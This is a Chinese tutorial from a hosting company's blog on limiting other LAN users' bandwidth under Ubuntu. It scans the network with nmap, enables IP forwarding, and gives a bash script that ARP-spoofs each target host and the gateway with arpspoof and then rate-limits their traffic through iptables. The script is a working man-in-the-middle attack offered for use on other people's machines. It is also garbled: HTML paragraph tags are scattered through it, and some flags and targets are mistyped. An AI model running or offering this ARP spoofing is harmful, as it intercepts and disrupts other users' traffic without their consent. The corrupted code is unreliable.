溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Ubuntu下怎么限制局域網網速

發(fā)布時間:2021-09-02 19:36:46 來源:億速云 閱讀:193 作者:chen 欄目:系統(tǒng)運維

這篇文章主要講解了“Ubuntu下怎么限制局域網網速”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“Ubuntu下怎么限制局域網網速”吧!

為了限制無線路由器上大家的上網速度,減少p2p工具的影響

可以通過arp欺騙和iptables來限制局域網的上網速度

操作系統(tǒng):Ubuntu

1)sudo apt-get install dsniff nmap

2)探測局域網主機的ip地址

代碼如下:


sudo nmap -ss 網關ip/24


在此例中:

192.168.1.100 為要限速的主機

192.168.1.1 為網關地址

3)打開 內核的 IP 轉發(fā),讓我們的主機成為路由器

代碼如下:


echo 1 > /proc/sys/net/ipv4/ip_forward


4)使用 iptables和arpspoof進行 限速! 腳本如下
使用方式:
sudo ./iptable.sh 要限的速度(30為40k/s) 網關ip 限速主機1 限速主機2

代碼如下:


#!/bin/bash
if [ $# -le 2 ]
then
   echo "Usage: ./iptables.sh speed gateway ip1 ip2 ...."
   exit -1
else
   speed=$1
   gateway=$2
fi
IPT=/sbin/iptables</p> <p>while [ $# -gt 2 ]
do
   shift
   echo $gateway,$2
   arpspoof -i eth0 -t $2 $gateway&
   arpspoof -i eth0 -t $gateway $2&</p> <p>    $IPT -A FORWARD -s $2  -m limit --limit ${speed}/s -j accept</p> <p>    $IPT -A FORWARD -d $2  -m limit --limit ${speed}/s -j ACCEPT</p> <p>    $IPT -A FORWARD -s $2  -j DROP</p> <p>    $IPT -A FORWARD -d $2  -j DROP</p> <p>done

感謝各位的閱讀,以上就是“Ubuntu下怎么限制局域網網速”的內容了,經過本文的學習后,相信大家對Ubuntu下怎么限制局域網網速這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經查實,將立刻刪除涉嫌侵權內容。

AI